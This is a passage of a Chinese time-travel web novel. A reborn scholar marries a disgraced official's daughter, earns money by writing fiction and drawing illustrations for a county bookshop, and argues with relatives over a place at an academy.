诗君杜贺章也是性情,中人,起哄道:“我们也可以相替!”
“滚!”
一场诗词比试下来,倒是让不少人对苏辛集另眼相待,这其中就有大诗人杜贺章。
几番说笑后,苏辛集在丫鬟小桃的搀扶下来到婚房门前。
“哎呦,三少爷,我不是新娘,您可别乱摸昂!”小桃紧张的搀扶着苏辛集:“这就到了,您仔细脚下。”
苏辛集跌跌撞撞的进了方面,檀木雕花大床上,谢嫣儿端坐在床边。
“娘子?我来了!”苏辛集高兴哼着小调:“掀起你的盖头来,让我看看你的头盖骨……”
谢嫣儿倒吸了一口冷气,刚放下的心又悬了起来。
“咳咳,抱歉,娘子,口误,口误。让我来看看你的脸!”苏辛集掀起盖头。
入眼,是一张瓜子脸,雪白的晶莹感让苏辛集脑海中闪过一个词:冰肌玉骨!
苏辛集只是一眼,便知道对方第一美女的名号,确实不是浪得虚名。
樱桃小口,眼含秋水,肤白如雪,尤其是那盈盈一握的小蛮腰,即便是放在现代,那也是影后级别的美女。
真是赚大了!
这是苏辛集此刻唯一的想法,就冲着这高颜值,罪臣之女又如何?
苏辛集搓了搓手:“娘子,咱们……”
第十二章 傲娇美妻
幸好苏辛集重生前见过不少网红明星,对女子的美貌有一定的抵抗力,还不至于太过失态。
“我要睡了,你先出去吧。”
出去?
苏辛集瞬间酒醒,他瞪大眼珠子:“你搞搞清楚,咱们现在是夫妻!”
这没有感情基础,苏辛集也有些尴尬,可让就这么放着漂亮媳妇守空房,他实在是不甘心。
谢嫣儿不再说话,只是睁着无辜的大眼睛,看着苏辛集。
我要是不出去呢?
苏辛集发现,这个谢嫣儿还挺傲娇,必须得治一治她这个臭脾气。
谢嫣儿依旧没反应,就这么坐在床边。
“那咱们聊一聊吧,反正我也不困。”苏辛集想了想道:“你对咱们的婚事有什么看法?”
“圣上赐婚,我一个罪臣之女,定是感恩戴德。”谢嫣儿这话,明显有赌气的成分。
苏辛集一听这话,无奈的叹了口气。想想也是,人家才貌双全,以前也是被父母捧在手心里,家中突逢变故,冷不丁让她嫁给一个陌生人,作为现代人,苏辛集都觉得有些不适应,谢嫣儿这种反应,他也能理解。
那就慢慢培养感情吧。
沉默片刻,苏辛集做出决定:“好吧,我先去书房。你歇着吧!”
听到这话,谢嫣儿紧绷的神经终于可以稍稍放松。
豪门望族,贬为罪民,最倒霉的不是男丁,而是女子。家中的多数女眷,都流落青楼,夜夜垂泪,还有的成了奴仆,食不果腹,活得还不如一条狗来得自由。
如今这苏家三少爷,看着倒是挺通情达理。
苏辛集走到门口,突然回头。谢嫣儿心里咯噔一下,他莫不是后悔了?
“对了,那天去牙行,徐婆子给推荐了不少婢女,我挑了一个,看着还算利落,以后就让她伺候你。”说着,苏辛集拍了拍手:“来人!”
“三少爷,三夫人。”
看着眼前的清秀侍女,谢嫣儿美眸闪动,眼中闪过一抹惊讶。似乎是在询问,你怎么来了?
“入画,你来伺候夫人吧。”
见苏辛集走出去,入画这才到:“小姐,我是使了银子,好不容易进来的。有事儿要跟您说……”
“嘘!”
谢嫣儿指了指门口,小心使得万年船。
入画过去查看了下,门外无人。这才走到谢嫣儿身边,帮她取下头饰,同时低声耳语道:“我这次来,主要是关长老那边有吩咐,他说您现在身份尴尬,嫁给苏家的傻少爷也是无奈之举,只要您坚持个一年半载,他们肯定能想到合适的办法帮您的。只是这一年内,您可千万不能跟他有夫妻之实!”
万一有了孩子,想走就更难了。
谢嫣儿也是听明白了,心中很是无奈,要是一两天还好说,一年要如何拒绝?
若不是自己坚持,洞房花烛恐怕苏辛集就已经……
想到这里,谢嫣儿叹了口气:“父亲那边如何?”
“老爷那边有人打点,小姐不必担心。您可千万记着,绝对不能破身昂。”见谢嫣儿心不在焉,入画再度劝解道:“话说回来,我看三少爷也是个通情达理,知冷知热的。灾年之下,他能坚持大办,还允诺三日的流水席,跟他在一起也算是暂时安全的。现在督武司那边查得严,您这次躲过一劫,也算是万幸。还有,近日需要您去一趟甘露寺……”
谢嫣儿神色复杂,没有回应,也不知道在想什么。
婚房里的一切,苏辛集并不知道,他正在书房思索下一步的路。
苏辛集看着这一屋子的古籍开始琢磨起来。
酒席上,听大伯的意思,这个灾年苏家的日子也不好过。自己已经成婚,总是要养家糊口的。
作为名校古代文学专业的博士,苏辛集完全可以去私塾坐馆,或者去大户人家做账房,不过这对于苏辛集来说不现实,打工赚的钱终究有限,必须得想个能快速积累资金,还不招摇的法子。
苏辛集顺手拿起了案头上的书。
《四美传》?
苏辛集翻了翻,心下了然,这无非就是文人才子的言语,文中男主,一夫四妻的结局,可能也是作者内心的欲愿。在苏辛集的记忆中,这种类型的话本名气不小,堂哥苏辛尔对此爱不释手。
有了!
重生前看过那么多电视剧、小说,自己写这些完全没问题啊。这个副业倒是既不张扬,收入又可观,倒是可以一试。
笔墨纸砚倒是现成的,以前父亲苏武在世,学问也是极好的。原主虽然脑子痴傻,可母亲从未放弃,总是教他识字读书。
夜深人静。
苏辛集定下神,第一本小说,必须要一鸣惊人!
《红楼梦》、《水浒传》那些有点太高调,而且诞生之时多坎坷,像《四美传》这种才子佳人的小说倒是不容易犯忌讳,只是如今卖得好的多数都是这种带点颜色的,想要一鸣惊人在这个赛道上怕是不容易。
苏辛集琢磨了下,最后决定写仙侠爱情。
列大纲,写了开头的两章,就已经到了后半夜,苏辛集伸了个懒腰,决定先休息,光线太暗,要是近视了,可没办法配眼镜。
休息了两三个时辰,苏辛集草草吃了些早饭,随后直接搬了张桌子到院子里。
心中有了构画,苏辛集下笔如有神助,很快就写了厚厚一摞。
定睛细看,字迹工整,情节流畅,苏辛集很是满意。
一想到写完这本,有可能过上躺赢的人生,苏辛集不由的笑出声来。
谢嫣儿不知什么时候,出现在苏辛集的身后:“看来坊间传闻不可尽信啊,没想到你除了会作诗,还会写小说?”
“哎呦,娘子,吓我一跳,你走路怎么也没点声音?”苏辛集回头一看,谢嫣儿手里提着长剑,似是刚晨练完。谢嫣儿本就貌美如花,因修行武道的缘故,身材极好,苏辛集眼珠子一转,这么美的娇妻,白白放在那里岂不可惜?
“娘子,这小说还没写好,你若是感兴趣,我可以细细给你讲。说起来咱们也是夫妻了,你这好歹也得尽些责任吧?”
“什么责任?”谢嫣儿下意识的往后退了半步,这话题转换太快,她有点跟不上节奏。
第十三章 崇文阁
“为夫浑身酸痛,你帮我捏个背,按个摩什么的总可以吧?”
感情要一步步培养,苏辛集有耐心,但也得要进度啊。
“让小桃给你按。”谢嫣儿刚想走,手被苏辛集一把拉住衣袖。
“哗!”
谢嫣儿随手一挡,苏辛集险些栽倒。谢嫣儿可是上品武人,要不是收着力道,苏辛集早就躺在地上了。
苏辛集也不恼,加快脚步追了上去:“娘子,你这武艺真是高啊!不如这样,你教我两招,我也好防身……”
苏辛集顺着连廊追上去,恰好碰上刚刚醒来的宾客。
一问才知道,这些客人昨晚都喝大了,很多人都留宿在苏家。
“三少爷,这还不到晚上,就这么迫不及待?”
说话的是安家大少爷,安世谦。他一直对谢嫣儿爱慕有加,可自打昨晚,苏辛集展露出诗文方面的天赋,又在这灾年下许诺大摆三日流水席,这才让安世谦死了心,对苏辛集的态度有所转变。
一顿婚宴过后,不少人都跟安世谦一般,对苏辛集有了新的认识。
“哈哈,估计三少爷昨晚什么也没办成,这会子着急呢。”
众人一听,都笑了起来。
“行了行了,大家都别打扰辛集兄了,让他去忙吧。”
苏辛集也没耽搁,回到卧房梳洗一番,准备招呼客人。银子都花了,那自然是要利益最大化。
无论什么年代,舆论都是很重要的。苏辛集知道,以前他的形象根深蒂固,想要改变,必须要徐徐图之。
苏辛集的改变,众人看在眼里。这位苏家三少爷,并不像传言那般不堪。
“三少爷这脑子,看着挺活泛的。”
“我听说,是因为落水的缘故,开窍了。”
宾客时不时的讨论起这个话题,苏府内一片喜庆。
关于这场大婚,人们褒贬不一,苏辛集宴客三天的消息传出去,他便成了小县城的焦点。
“明明娶了个罪臣之女,还觉得是好事,大张旗鼓的!”
“这家伙就是个败家子,苏家摊上他,也是够倒霉的。”
面对流言,苏辛集是充耳不闻,他现在一门心思的写话本,就是想早点变现。
下午,苏辛集整理好书稿,悄悄出了门。
县城倒是有几间书店,苏辛集循着记忆找了过去。
崇文阁。
看到有人进来,掌柜热情出来打招呼:“呦,苏家三少爷啊,稀客稀客,想要些什么书?卢秋生的本子出了新的,二少爷还预定了,您要不要也来一套?”
二少爷自然是指得苏辛尔,苏辛集对这位堂哥没多少好印象。他随手拿起掌柜递过来的书,原来是《四美传》的作者又出了话本。
“掌柜的,这样的话本子很畅销吗,我倒是也写了个本子,想请您给掌掌眼!”
赵掌柜一怔,来书店不是买书,是卖书?
苏辛集的事儿,赵掌柜知道不少,这小子人有些憨傻,平日里没少被人欺负。听说昨日大婚,倒是初露才情,做了四诗一词,赵掌柜只当这小子是抄的,也没往心里去。
这又要卖话本,莫不是他找了个枪手,想要混个好名声?
关于三日流水席宴请宾客的事情,赵掌柜也是听说了,在他看来,苏辛集肯定是想要博个好名声。这又要写书,难道还想往文人墨客的方向凑,顺势再考取个功名?
赵掌柜心思一转,反正这个时辰还没几个客人,甭管怎么说,他也是苏家人,能不得罪还是不要得罪了。
“三少爷有所不知,我虽是掌柜的,但这里的话本都是我从城里的秀山书局进的货,那边都有专业的选稿的。我也只能说站在读者角度,先看看。”
赵掌柜嘴上说得客气,实际上是没瞧得上苏文集写的本子。
年轻人,看别人写很容易,自己上手就明白喽,稿子你都投不出去!
当然,这话不能明说。
“多谢掌柜的,您过手的书没有一万,也有八千了,见识自然比普通人要强得多,话本好不好,您稍微过过眼就能知道了。”
赵掌柜没想到苏辛集如此客气,语气变得随和了不少:“三少爷既然这么看得起我,那我也就不说推搪的话了。”
本来赵掌柜对苏辛集拿出的话本没什么期待,一个不学无术的纨绔,据说还有些痴呆,能仿写一个完整的故事,就算是不错了。没想到,这么一看,赵掌柜立马来了精神。
这故事写得好啊,世界观别出心裁,草庙村的悲剧一开始就很吸睛,张小凡资质平平却被青云门大竹峰首座田不易收为弟子,张小凡道法进展缓慢,为有师姐田灵儿对他关怀备至……
这故事有趣的紧,三少爷是如何创作出如此妙书?
看赵掌柜时而蹙眉,时而叹息,就是不开口,苏辛集心中也有点忐忑,难道是犯了忌讳,不好推广?
苏辛集强迫自己不要多想,趁着赵掌柜看书,苏辛集在店里转了一圈,看到《五国演义》的话本子堆在角落里,都落了灰,看着纸张质量比旁的书厚实不少,便随手一翻。
两人各自看书,约莫有半个时辰,赵掌柜率先打破寂静:“三少爷这故事倒是新奇,不知这本书你打算写多少?”
“初步构想是七卷,数百万字吧。”
写书对于苏辛集来说不难,但也要看销路,若是没有市场,他也不打算浪费精力。
“构思宏大啊,我看你这第一卷倒是有些意思。不瞒你说,秀山书局的任管事是我表哥,我给你写封推荐信,到时候你写出第一卷,过去投稿试试看。”
既然苏辛集有这个才华,赵掌柜也乐的帮他一把。
苏辛集大喜,对着赵掌柜躬身行礼:“多谢掌柜的提携!”
赵掌柜看苏辛集这么上道儿,又多说了几句:“三少爷的本子确实别出心裁,至少在咱们山阴县的市面上,还是没有这般题材的。但小说这东西,能不能成事,看人,也看天意。不识货的人哪里都有,不到最后一刻,谁都不好说。”
第十四章 二房发难
赵掌柜经商多年,自是不会打包票。
“赵掌柜,您的意思我都明白,您愿意推荐,已经是对我的照顾了,我哪还敢奢望更多。对了,我刚才看您这里有不少《五国演义》,怎么不往书架上摆,都落了灰。”
“你说那些啊,是我失策了,这书用的是开化纸,一套书下来,六七十万字,价格不菲。当时做了三百套,本来是想要做成精品,谁知道南边来了一批平价书,内容和我这个差不多,但价格能便宜四分之一,我这书压了两年多,一直也没打开销路。”
苏辛集眼珠子一转:“掌柜的,我倒是有办法销售这批积压囤书。”
“当真?”
“对,我可以为这些书画些插画,保证这批货会成为稀世精品。”
苏辛集一眼就看出来,这些书质量虽好,但是没有核心竞争力,想要快速售出,那就必须要调整产品定位,增加新的卖点。
赵掌柜摆了摆手:“插画?这套书的插画版本,少说我也看了十几个版本,而且重新刻板,又是一笔花销……”
赵掌柜显然有自己的算盘,再投钱,这本子的成本不就更高了,这还怎么卖?
“这样吧,我先回去画,回头您看过再说。”苏辛集笑着道。
“好!如果你的插画真的能让我把这批书销出去,我给你每套提成一个点。”赵掌柜留了个心眼,苏辛集的插画不行,那就算是丑话说前面了,我可是不付一文钱的。要是他的插画真的能带动滞销书的销量,给他一个点,也算是交个朋友,后面肯定还有合作的机会。
“行,我最晚后天过来。”苏辛集也不在意赵掌柜的心思细,他对自己的插画有绝对的信心。
有了赚钱的门路,苏辛集很高兴,回家的步伐都轻盈了不少。
赚钱有何难,苏辛集就不信了,他可是堂堂穿越者,岂能给同辈丢脸?
之所以选择写小说、画插画,也是迫于形势,苏辛集手中没有银两,除了父亲书房里的古书,就剩下些笔墨纸砚了,这对他来说,算是无本的生意。
苏辛集回到家,便钻进了书房画起了插画。
晚饭前,谢嫣儿倒是来过一次,见苏辛集醉心于画,只是稍微驻足,并未出声打扰。
谢嫣儿回到卧房,入画看她有些心不在焉,便道:“小姐,三少爷在书房画画,今晚肯定不会来打搅,岂不是正好,您怎么看起来有些不高兴啊?”
“没事儿,只是想起了父亲,有些担忧罢了。”谢嫣儿并未说出心中的疑惑,刚才看到苏辛集的画,仿佛是活了一般,鼻子眼睛都带着一股灵韵,就连胡须也是各不相同。如此画作,谢嫣儿还是第一次见。
短短两三日,苏辛集带给她太多震撼了!
谢嫣儿甚至有些犹豫,到底是要继续按关长老的计划走,还是选择另外一种生活……
这三日,流水宴席消耗不小,苏家的食材不够,只能从酒楼里订货,县里的酒楼都是一车车的送吃的来。
苏家也没想到能来那么多人,杂七杂八的费用比预算多了三百八十两。
苏富看了,就是一阵头痛。
心中再度把侄儿苏辛集骂了一通。
苏辛尔见父亲为银两发愁,便怂恿道:“爷爷,父亲,这三日大摆流水席,就是三弟的个人意愿,咱们府中不能平白替他填坑。”
苏辛尔一想到白鹿洞书院的名额要让给苏辛集,就气不打一处来,现在这小子还想要用公中的银钱赚美名,真是白日做梦!
“住口,这是当哥哥应该说的话么!”老爷子苏谅气的直戳拐棍。
苏辛集恰好跨门而入,听到家人的议论,便道:“爷爷,不就是区区三百八十两银子么,这个我来出!本来就是我娶妻的日子,我就是要给嫣儿一个像样的婚礼!”
在场的几个人都没有说话,这可不是小事儿,三百八十两雪花银,真不知道这小子哪里来的底气。
苏辛集知道,想要在乱世立足,银钱就是不可回避的问题。
父亲早亡,他更要顶起三房这一脉。
苏辛集从袖中拿出一张银票,道:“这里是一百两,五日后,我会把剩下的补齐。”
这一百两银子还是母亲得知周夫子收他当入室弟子,给的学费和买书的银两。
“集儿,这一百两是你娘给你的吧?”苏富阴阳怪气道:“就算是你都拿出来,那剩下的二百八十两银子,你去哪里找?这不是个解决问题的办法,此时还需从长计议……”
苏辛尔见父亲挑起话头,便顺着道:“三弟,要我说,你现在已经成家立业,不如去家里的药铺当个账房先生,稍微努努力,进项多了,自然会有余钱。”
老爷子苏谅嘴唇抖了抖,终究是没有说什么。
苏辛集冷冷一笑:“我自有来钱的门路,就不劳二哥操心了。”
话音刚落,谢嫣儿抱着个木匣子来到了前厅,苏辛集看到谢嫣儿拿出里面的首饰,马上明白她的意思。
苏辛集脸上的笑容消失,面色一冷:“是谁乱嚼舌根子了?”
小桃有些紧张的搓着衣角:“三少爷,我就是无意提起这事儿……”
“好了,甭管怎么说,我既然嫁入苏家,自是要出一份力的。”说着,谢嫣儿把首饰盒推到了苏辛集面前,“这里面的首饰可能不够,剩下的咱们一起想办法。”
苏辛集心头一暖,扫了一眼首饰盒,盒子不小,里面的首饰却没多少,金饰品只有一件,其余的不过是点成色不太好的玉饰品,银镯子还有点变形,一看就是有些年头的物件。
对于罪臣之女,能拿的出这些,可能已经是谢嫣儿的全部家当了。
说不定还是她母亲给她的一点念想。
苏辛集微微一叹,嫁入苏家没能给她锦衣玉食就算了,怎么还能要她拿东西出来办婚礼呢,即便是现代,一个女子也罕有这般通情达理的。
苏辛集对谢嫣儿的认识,又多了些许。
“你拿着,还不至于到这一步,我自有办法。”
第十五章 一个小目标
苏辛集郑重其事地把首饰盒拿起,放在谢嫣儿的手中。
谢嫣儿并没有拿,用力推回。上品武人的力道远超常人,苏辛集不愿僵持,索性拿过首饰盒递给了小桃:“小桃,你先帮夫人收着。”
“是,三少爷。”
小桃看向苏辛集的眼神中多了几分崇拜。
苏辛义面露鄙夷:“三弟,这就是你来钱的门路?不过还是靠女人罢了,你好歹是三房的顶梁柱,怎可如此没脸没皮?!”
苏辛集知道二房是想当着爷爷的面发难,便转头冲着妻子道:“嫣儿,你先回去休息吧。我跟二伯他们商量点事儿。”
“我就在这里。”说着,谢嫣儿找了个位置坐下。
苏辛尔冷笑了下:“三弟和弟妹还真是同舟共济啊,既然弟妹想知道,那我就与你说说!众所周知,白鹿洞书院是有门槛的,一般情况下只有秀才方可入院学习。我们苏家跟白鹿洞书院有些渊源,苏家子弟只要不过二十周岁,通过春试者都可旁听学习。过了春试也不过是个开始,每年的花费对三房来说,就是个天文数字,你们即便是凑够了这次的酒席钱,上学的费用又从哪里出?”
“是啊,总不能去动用三叔的卖命钱吧?我们苏家人,可不兴坐吃山空昂!”苏辛义火上添油道。
苏辛集当下了然,合着他们爷仨儿发难,是冲着白鹿洞的名额来的!
二堂哥苏辛尔已经年过十九,要是错过了这次机会,估计这辈子都去不了白鹿洞书院了。
二房的三个儿子,就没有一个是读书的料!
大房家子嗣稀薄,四女一子,最小的儿子如今才刚刚两岁,不着急开蒙的事情,所以大房倒是乐的坐山观虎斗。
二房苏富站出来道:“集儿,你若是不愿意来家里的药铺,县里的营生里看中哪一行,我也可以举荐。读书的事情,还是要交给擅长的人做。”
“二伯,办法总比困难多,逢山开路遇水搭桥便是,若是遇到点挫折就退缩,也不配为苏家儿孙!这名额既然是爷爷允诺,便是看出夫君天赋过人,擅长此道。我相信假以时日,夫君定能金殿传胪,光宗耀祖!”
谢嫣儿掷地有声的样子,让在场的人一怔。
苏辛集痴痴地看着谢嫣儿的侧颜,不禁感叹自己福泽深厚,竟然娶了如此贤妻。
人与人之间就是这样,有时候拉近距离,就是一瞬间的事情。
谢嫣儿倒不是盲目自信,如果说大婚那天苏辛集作诗有讨巧的成分,那这几日苏辛集写的小说,绝对是实力的证明。还有那些插画,没有十年八年的功底,是绝对画不出的。谢嫣儿自诩才女,可若要她七步成诗,编写话本,她还是做不到。
对苏辛集的自信是一方面,另一方面白鹿洞书院本身就自带光环,大昭朝四大书院之一的白鹿洞书院,可是出了不少能人,当朝户部尚书李文泰,就是从白鹿洞书院出去的,任教的夫子很多都是进士出身。以苏辛集的能力,稍加打磨,定然有金榜题名的可能性。
自从结婚以来,谢嫣儿就没怎么有笑脸,如今她突然如此坚定地支持苏辛集,倒是让人有些意外。苏辛集别有深意地看了谢嫣儿一眼。
“咳咳!”老爷子苏谅见孙子们争来夺去,气的一口浓痰堵住了喉咙。
苏辛集见的爷爷被气得不轻,顿时来了火气:“二位哥哥说的极是,白鹿洞书院的门槛不低,但若二十岁以下过通过县试,便免了束脩,成绩前三者,还能免食宿。我这次去读书,会尽力争取免费读书的资格,不会让长辈们费心的。”
“哈哈!县试过了年便要考,满打满算不过还剩下两个来月,就你这样的,还想拿到名次?”苏辛尔仿佛是听到了天大的笑话,满是鄙夷的看向苏辛集。
苏辛尔考了多回都未中,自然是知道其中的难度。父辈之中也就大房的苏文考中了秀才。老爷子时常感叹,最有希望的三房英年早逝,苏家子孙是一代不如一代,他这个糟老头子在世,苏家还有个指望……
“科举之事,说不准的,考个十几年是有的,一次便中也是有的。读书人,自然是要立一个小目标的。”
大房的苏文听到这话,像是被踩到了尾巴,脸色黑了下来:“集儿既然如此自信,也是好事,我看这样吧,反正县试左右不过这两个月了,若是集儿能通过,白鹿洞书院的名额便给他。若是未能通过,这名额就给二房家的吧,集儿若要愿意读书,便跟着周夫子继续,若是不要,回头咱们再商议不迟。”
二房苏富感激的看向大哥,关键时刻,还得是亲兄弟啊。
看似是两边说和,实际上大房苏文这是变相给苏辛集施压,逼他自己下赌注,只要他点头,名额就又回到苏辛尔的手里,即便是老爷子苏谅偏心,他也不好明说什么。
“好,那就一言为定。”
见苏辛集点头答应,老爷子苏谅眼神复杂的扫视了一圈,随后道:“我乏了,先散了吧。”
科举的事情,七分实力,三分运气。
苏谅是过来人,自然知道其中艰辛,现在见三房家的被逼着定下不切实际的目标,心中难免担忧。在老爷子看来,苏辛集能七步成诗,确实有些歪才,可科举比的不是吟诗作对,苏辛集刚刚开蒙,即便是有天赋,到底是缺乏实战经验的,要是这一次失败,很容易挫伤信心。再说自己这把老骨头也不知能坚持几何,要是再等两年,集儿怕是真没有入学白鹿洞的机会了。
这日,苏辛集画好了插话,拿到崇文阁给掌柜的过过目。林沐芳见儿子苏辛集出门,琢磨了下,把入画打发去厨房帮忙,想要跟谢嫣儿好好聊聊。
谢嫣儿正在绣帕子,见到林沐芳来了,便放下了手中的活计。心中暗忖,娘这会子过来,莫不是听说了什么风言风语?
第十六章 发展下线
林沐芳坐下,扫了一眼帕子,笑着道:“闲下来做些女红也是好的,嫣儿,娘知道你爹的事情,你心里是有委屈的,可既然嫁到咱们苏家,断然不能委屈了你。这里是十两银子,你先收了,回头买几尺新布,做上两身新衣裳。”
“娘,我的衣服不少,就不做新的了吧。”谢嫣儿知道婆婆一个人撑着三房不容易,便委婉的拒绝了。
林沐芳和蔼一笑:“你是新媳妇,你也知道,咱们三房这些年就我们孤儿寡母的,谁都能来揉搓两下,好不容易添了人口,我这个当婆婆的心里高兴。”
见谢嫣儿不说话,林沐芳顿了顿:“这里没外人,我就有话直说了。集儿这两日,都是在书房过夜的吧?娘知道他是想要书院的名额,日夜苦读,你现在是他的妻子,遇到事儿总是要劝着点,熬坏了身子,可就什么都没了。你看看二房家的辛义,比集儿大不了几岁,一群孩子,看着就喜人。”
谢嫣儿红着脸低下头,这才进门几天就催上了,想起关长老捎来的话,谢嫣儿更是左右为难。
“唉,娘知道,你们小两口还年轻,是不着急的。可咱们三房子嗣稀薄,来年春天要是集儿去了省城的白鹿洞书院,你们也不知道多久才能见一回。我是老了,也不知道哪天就蹬腿闭眼的,你可还年轻,也没个父兄帮衬,要是再没个一男半女,大房,二房他们还不欺负你?”
是生孩子的事儿!
谢嫣儿不由得叹了口气,婆婆说的在理,可自己也有苦衷啊。
“你也不用害羞,夫妻间就那么点事儿。集儿这也是开窍的晚,不通男女之事,娘看得出,你是个有心的,平时多提点提点他,慢慢感情上来了,你们就想着天天在一起呢。孩子的事情,怎么也得在春天之前怀上!”
林沐芳絮絮叨叨的,谢嫣儿心不在焉的听着。
林沐芳见儿媳妇没什么反应,伸手摸了摸藏在袖中的纸包,眼中闪过一抹犹豫。
“行,你心里有个数就行,我让小厨房晚上炖鸡汤,等集儿回来,你们一起过来吃饭。”
此刻的苏辛集正在崇文阁,他万万想不到家中的亲娘打的什么算盘。他翻看着时下流行的话本,笑着道:“赵掌柜,这种美人插画,我是没有画过,不过我家娘子见我画画,一时手痒,倒是画了一幅,我悄悄带来请您品鉴一二。”
事实上,苏辛集重生前可是鉴赏大师,片子看了没有一万也得八千了,很清楚什么样的插画最能吊人胃口。只是他还要参加科举,担心日后有人挖出这些,拿着做文章,所以才会借妻子之名。
水雾萦绕间,女仙抬手,香肩微露,侧颜和美背的柔美,展露无遗。
便是赵掌柜这种博览群书的行家,看了也不由摸着鼻子,实在是痒得厉害……
如今最畅销的画本子就是女鬼、仙女爱上穷书生的故事。本子谁家都有,无非就是走个薄利多销的路子,可要是配上美人图,那又不一样了。
赵掌柜对谢嫣儿的才情早有耳闻,见苏辛集如此真诚,倒是没有多疑。直接从抽屉里拿出一块银锭子:“三少爷,这里是五十两,算是我给令夫人的定金。咱们说好了,夫人画的插画,必须有限给崇文阁。《五国演义》的插画,等书售出后,我再给你分成。”
“好说好说。赵掌柜,家中有事,我就先行一步了。”
见苏辛集走远,正在扫灰的伙计凑近赵掌柜。
“掌柜的,插画雕版繁琐,花销极大,咱们这批《五国演义》还压在手里,这又要画《四美传》,会不会风险太大?”伙计干了七八年,还没见过掌柜的如此大方,出手就是五十两银子。
“苏家三少爷不是池中物,与人结份善缘不是坏事,谁知道他将来会有什么造化呢。”
赵掌柜的眼神落在不远处的苏辛集身上,心中暗自感叹,苏家竟出了如此奇才!
苏辛集在街上闲逛了半日,这才回了家。
房内,苏辛集见到谢嫣儿一个人在窗前发呆,便凑过去:“娘子,看看这是什么?”
见到簪子,谢嫣儿眼神有些恍惚。
“你是哪来的?”
“刚才在街上闲逛,看到这根簪子跟你首饰盒中的那个,似乎有些相似,想着你会喜欢,便买来了。”
谢嫣儿细细瞧着,只是有七八成相似,终究不是妹妹的那根。
“怎么,不喜欢? ”苏辛集笑着问道。
“不是,你以后不要乱花钱了,你还要读书考科举,用银子的地方多。”谢嫣儿有些心不在焉的道。
“无妨,我的插画赵掌柜收了,话本还有几日也能投稿,等我有了稳定收入,再给你买更好的。”
“那你忙这些,还有空读书?”谢嫣儿疑惑的问道。
“这不是正要跟你商议么,我最近确实有些忙,明日还要到夫子那里读书,插画的事情已经跟赵掌柜谈妥了,他付了五十两银子的定金,回头我教你,你来画,如何?”
“我?我不行吧,这事儿要是让家里人知道,怕又会起波澜。”
“有何不可,女人也可以有自己的事业……”意识到路数不对,苏辛集连忙道:“咳咳,我的意思是,家里非常时期,你又恰好有这个能力,帮衬下家里,想必二伯他们不会多说什么的。再说了,有我教你,一点也不难的。”
“那倒也是。”谢嫣儿一想到要跟苏辛集学画,俩人难免近距离接触,脸一下就红了:“你,要教我画什么?”
“先画《四美传》,热门的话本子才有配插画的价值。回头我给你讲讲构图、配色,你很快就能上手了。”苏辛集注意到谢嫣儿的表情,便道:“你要是觉得不好意思,那就教我学武,也算是扯平了。”
谢嫣儿有些无语,这家伙倒是会占便宜!
苏辛集确实是没更好的办法,他想要挣一笔钱,又没那么多时间,如今最重要的还是两个月后的县试。
时间紧迫,只能让谢嫣儿代笔画插画了。
“娘子,我都想好了,县试过了,我接着就继续考。中了举人,就有机会选官,咱们多攒点银子,到时候活动活动,争取早日进入中枢,还谢家一个清白!”
第十七章 送上门的生意
什,什么?
谢嫣儿美眸闪动,原来他一直把这事儿放在心上,他心里是清楚的,不是谢家犯罪,而是朝中佞臣有意构陷!
谢嫣儿想到父亲含冤受辱,悄悄抹了把泪:“我父亲一生忠正廉洁,如今被奸人所害,一家老小七十余口,皆被牵连。夫君,你是真的有办法吗?”
苏辛集目光炯炯:“现在还不是时候,等我金榜题名,自然要还谢家一个公道。”
谢家,公道……
这几个字,真的有组合在一起的时候么?
谢嫣儿声音微颤:“谢谢,我相信你。”
其实,谢嫣儿自己都没意识到,她跟苏辛集接触不过短短五日。对方的话,很有可能是画饼,金榜题名是多少人的夙愿,即便是真有哪一天,扳倒当朝阁老,又谈何容易?
苏辛集见时机来了,便道:“光是说说么,谢我不得拿出点实际行动?”
“行动?”谢嫣儿脸一红,有些疑惑的看着苏辛集。苏辛集指了指自己的脸,眼神划过谢嫣儿的红唇。
谢嫣儿羞涩的低头,这一幕恰好被不远处的入画看到。
入画心头一紧,看来得抓紧时间了……
晚饭时分。
林沐芳特意吩咐厨房,做了一桌子好菜。炖鸡汤、烧排骨、清炒笋丝、韭菜鸡蛋,都是苏辛集爱吃的菜。
苏辛集拉着谢嫣儿,有说有笑地来到了母亲这边。
“集儿,听说你下午去了街上?”林沐芳笑着问道。
“娘,明日我就要去学堂了,想着今日出去散散心。恰好跟赵掌柜的聊起来,我给他看了娘子的画,赵掌柜觉得甚好,直接给了五十两银子定金。”说着苏辛集就把钱袋子放倒了桌子上:“娘,要不您先收着。”
“好孩子,你有这份心就好。”林沐芳看着儿子为了筹银子,这几日奔波脸都瘦了,心疼不已:“嫣儿毕竟是刚过门,不能太操劳。这画,画的了便画,画不了便罢了。集儿,娘今晚叫你们来,正是要说这事儿,你爹留下的银两,我原本是想等着分家后,给咱们三房留个后路,如今正是用钱的时候,这里有二百两,你先拿去把婚宴的银子结算了。”
“娘,这钱我不能要!”
苏辛集说道:“娘,我们自己的婚事,自己能张罗。”
见儿子如此懂事,林沐芳的心里更不是滋味了。
“集儿,这银子本也是留给你们的,早一天晚一天的事儿,现在既然有用的地方,娘又怎么忍心看着你们俩天天操劳,夜夜分居呢。”
这话一出,谢嫣儿不由得脸红,看来还得想别的办法,不能让夫君老睡书房了!
“娘,你就不要操心了,咱们先吃饭吧,都要凉了。”
这顿饭,让林沐芳的心安定了不少,提前准备的东西终究还是没用上,儿子的身体刚好,如果不是时间紧迫,林沐芳是不愿意用这法子的。
次日,苏辛集来到了学堂。
周夫子见苏辛集如此勤勉,大婚不到一周,便来学习,很是欣慰。指着距离讲坛五步远的地方,“你坐这里。”
苏辛集顺势看过去,自己的位置在第一排最右侧,左边是大师兄温长丰。温长丰见小师弟坐在自己旁边,怜悯地看了一眼苏辛集,压低声音道:“夫子是个认真的人,你自求多福。”
苏辛集原本对自己很有信心,听到大师兄的告诫,心也跟着提了一下。
过了一会儿,学堂才陆续来了学生。
杨闻道一进来,就注意到自己前面的位置坐着人,他微微一笑,毫不在意的走到自己的位置。
“闻道,那个人就是夫子新收的入室弟子吧?”胡天庆看着前面的苏辛集。关于苏辛集的事情,最近传的沸沸扬扬,胡天庆虽然没去苏府凑热闹,但也道听途说了不少。此刻见到苏辛集本尊,难免好奇。
“安静。”
周夫子冷声呵斥,课堂瞬间安静下来。
周夫子并没有介绍苏辛集,直接就开始授课。苏辛集听了片刻,这才明白过来,周夫子的课堂是个混合班型,有天地玄黄四个级别,不由得苦笑,合着放在现代,这就是个需要语文老师教体育的村小!
